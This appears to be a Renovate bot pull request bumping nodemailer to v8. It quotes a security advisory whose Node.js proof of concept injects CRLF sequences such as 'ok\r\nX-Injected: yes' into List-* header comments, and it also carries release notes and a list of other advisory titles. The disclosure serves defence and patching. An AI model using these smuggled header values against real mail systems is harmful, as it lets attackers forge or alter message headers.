PR: Conservative assumption that the attacker is a lower-privileged user of an application that exposes list metadata fields. Some applications could expose this to unauthenticated users, but that was not assumed.
UI: No maintainer or victim interaction is needed after the application accepts the message object.
S: The impact remains in the application/mail-generation security scope.
C/I: Injected headers can affect message metadata, mail-client/filter interpretation, and downstream mail-pipeline decisions. No SMTP envelope recipient injection or code execution was demonstrated.
A: No availability impact was demonstrated.

Final self-review:

Reproduction evidence was generated locally from this checkout with a safe in-memory streamTransport PoC and a negative Subject control case.
The PoC is non-destructive and does not send network traffic outside the process.
The observed output contains an actual CRLF-delimited injected header line.
Reachability, sanitizer bypass, package exposure, variants, and non-exploitable sibling paths were checked as described above.
The affected range is not overclaimed; only the current tested version is confirmed vulnerable.

PoC

From a clean checkout of nodemailer at commit 15138a84c543c20aa399218534cdbbfa2ea1ce55, run:

node <<'NODE'
'use strict';
const nodemailer = require('./');
const headersEnd = raw => raw.slice(0, raw.indexOf('\r\n\r\n'));
const hasStandaloneInjected = raw => /\r\nX-Injected: yes\)/.test(raw) || /\r\nX-Injected: yes\r\n/.test(raw);
(async () => {
  const transport = nodemailer.createTransport({ streamTransport: true, buffer: true });
  const positive = await transport.sendMail({
    from: 'sender@example.test',
    to: 'recipient@example.test',
    subject: 'control',
    list: { unsubscribe: { url: 'https://example.test/u', comment: 'ok\r\nX-Injected: yes' } },
    text: 'body'
  });
  const positiveRaw = positive.message.toString('utf8');
  console.log('POSITIVE_HAS_INJECTED=' + hasStandaloneInjected(positiveRaw));
  console.log('POSITIVE_LIST_LINE=' + JSON.stringify(headersEnd(positiveRaw).split('\r\n').filter(line => /^List-Unsubscribe:|^X-Injected:/.test(line)).join('\n')));

  const control = await transport.sendMail({
    from: 'sender@example.test',
    to: 'recipient@example.test',
    subject: 'safe\r\nX-Injected: no',
    text: 'body'
  });
  const controlRaw = control.message.toString('utf8');
  console.log('CONTROL_HAS_INJECTED=' + /\r\nX-Injected: no\r\n/.test(controlRaw));
  console.log('CONTROL_SUBJECT=' + JSON.stringify(headersEnd(controlRaw).split('\r\n').filter(line => /^Subject:|^X-Injected:/.test(line)).join('\n')));

  const variantKeys = ['help', 'unsubscribe', 'subscribe', 'post', 'owner', 'archive', 'id'];
  const result = [];
  for (const key of variantKeys) {
    const info = await transport.sendMail({
      from: 'sender@example.test',
      to: 'recipient@example.test',
      subject: 'variant ' + key,
      list: Object.assign({}, { [key]: { url: key === 'id' ? 'example.test' : 'https://example.test/' + key, comment: 'c\r\nX-Variant-' + key + ': yes' } }),
      text: 'body'
    });
    result.push(key + '=' + new RegExp('\\r\\nX-Variant-' + key + ': yes').test(info.message.toString('utf8')));
  }
  console.log('VARIANTS=' + result.join(','));
})().catch(err => { console.error(err && err.stack || err); process.exit(1); });
NODE

Observed output in this environment:

POSITIVE_HAS_INJECTED=true
POSITIVE_LIST_LINE="List-Unsubscribe: <https://example.test/u> (ok\nX-Injected: yes)"
CONTROL_HAS_INJECTED=false
CONTROL_SUBJECT="Subject: safe X-Injected: no"
VARIANTS=help=true,unsubscribe=true,subscribe=true,post=true,owner=true,archive=true,id=true

Expected vulnerable output: POSITIVE_HAS_INJECTED=true and all listed variants ending in =true. Expected negative/control output: CONTROL_HAS_INJECTED=false, showing the ordinary Subject header path does not create a separate injected header.

Cleanup: none required; the PoC uses only in-memory message generation.

Impact

A lower-privileged attacker who can influence list.*.comment fields in an application using Nodemailer can inject arbitrary additional headers into generated email messages. This can alter message semantics and downstream mail-client or mail-filter behavior, including adding attacker-controlled metadata headers. The PoC confirms header-boundary injection in the generated RFC822 output; it does not demonstrate SMTP command injection, recipient injection, or code execution.

Suggested remediation

Normalize or reject CR and LF in list.*.comment before constructing prepared List-* headers. Prefer sharing the same CRLF-neutralization behavior used for ordinary header values, or avoid using prepared: true for caller-controlled list comment content. Add regression tests for CRLF in every documented list comment-bearing field and verify that generated messages do not contain attacker-controlled standalone headers.

Severity

CVSS Score: 5.4 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

nodemailer/nodemailer (nodemailer)

`v8.0.9`

Compare Source

Bug Fixes

two pending security advisories (jsonTransport access bypass, List-* CRLF injection) (#1820) (5f69497)

`v8.0.8`

Compare Source

Bug Fixes

enforce strict TLS for OAuth2 and Ethereal credential requests (#1818) (833d6e5)
four listener/stream leaks in SMTP transport, connection, pool (#1817) (850bb91)

`v8.0.7`

Compare Source

Bug Fixes

keep domain as UTF-8 when local part is non-ASCII (#1814) (66d4ecb)

`v8.0.6`

Compare Source

Bug Fixes

restore base64 wrap() trim behavior to prevent trailing CRLF (#1810) (#1811) (b1ae6c1)

`v8.0.5`

Compare Source

Bug Fixes

decode SMTP server responses as UTF-8 at line boundary (95876b1)
sanitize CRLF in transport name option to prevent SMTP command injection (GHSA-vvjj-xcjg-gr5g) (0a43876)

`v8.0.4`

Compare Source

Bug Fixes

sanitize envelope size to prevent SMTP command injection (2d7b971)

`v8.0.3`

Compare Source

Bug Fixes

clean up addressparser and fix group name fallback producing undefined (9d55877)
fix cookie bugs, remove dead code, and improve hot-path efficiency (e8c8b92)
refactor smtp-connection for clarity and add Node.js 6 syntax compat test (c5b48ea)
remove familySupportCache that broke DNS resolution tests (c803d90)

`v8.0.2`

Compare Source

Bug Fixes

merge fragmented display names with unquoted commas in addressparser (fe27f7f)

`v8.0.1`

Compare Source

Bug Fixes

absorb TLS errors during socket teardown (7f8dde4)
absorb TLS errors during socket teardown (381f628)
Add Gmail Workspace service configuration (#1787) (dc97ede)

[`v8.0.0`](https://redire

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renovate Bot added the dependencies Pull requests that update a dependency file label Oct 7, 2025

renovate Bot force-pushed the renovate/npm-nodemailer-vulnerability branch from dcf494a to 12a9057 Compare December 1, 2025 23:04

renovate Bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 12a9057 to 9f9085b Compare March 31, 2026 10:42

renovate Bot changed the title ~~Update dependency nodemailer to v7 [SECURITY]~~ Update dependency nodemailer to v8 [SECURITY] Mar 31, 2026

renovate Bot changed the title ~~Update dependency nodemailer to v8 [SECURITY]~~ fix(deps): update dependency nodemailer to v8 [security] Apr 5, 2026

renovate Bot changed the title ~~fix(deps): update dependency nodemailer to v8 [security]~~ Update dependency nodemailer to v8 [SECURITY] Apr 8, 2026

renovate Bot force-pushed the renovate/npm-nodemailer-vulnerability branch from 9f9085b to c99eb87 Compare April 8, 2026 17:19

Update dependency nodemailer to v8 [SECURITY]

a1002b6

renovate Bot force-pushed the renovate/npm-nodemailer-vulnerability branch from c99eb87 to a1002b6 Compare June 15, 2026 22:13

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Update dependency nodemailer to v8 [SECURITY]#219

Update dependency nodemailer to v8 [SECURITY]#219
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Nodemailer: Email to an unintended domain can occur due to Interpretation Conflict

Details

Impact:

Recommendations

Severity

References

Nodemailer’s addressparser is vulnerable to DoS caused by recursive calls

Details

Summary

Details

PoC

Impact

Severity

References

Nodemailer has SMTP command injection due to unsanitized envelope.size parameter

Details

Summary

Details

PoC

Impact

Severity

References

Nodemailer Vulnerable to SMTP Command Injection via CRLF in Transport name Option (EHLO/HELO)

Details

Summary

Details

PoC

Impact

Severity

References

Nodemailer: Improper TLS Certificate Validation in OAuth2 Token Fetch Enables Credential Interception

Details

Summary

Details

PoC

Mail API (app/server.js)

Malicious HTTPS OAuth Server (poc/evil-oauth.js)

Nodemailer OAuth2 Test (test.js)

Impact

Severity

References

Nodemailer jsonTransport bypasses disableFileAccess and disableUrlAccess during message normalization

Details

Summary

Details

PoC

Impact

Suggested remediation

Severity

References

Nodemailer: CRLF injection in Nodemailer List-* header comments allows arbitrary message header injection

Details

Summary

Details

PoC

Impact

Suggested remediation

Severity

References

Release Notes

Bug Fixes

Bug Fixes

Bug Fixes

Bug Fixes

Bug Fixes

Bug Fixes

Bug Fixes

Bug Fixes

Bug Fixes

[v8.0.0](https://redire

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renovate Bot commented Oct 7, 2025 •

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Nodemailer has SMTP command injection due to unsanitized `envelope.size` parameter

[`v8.0.0`](https://redire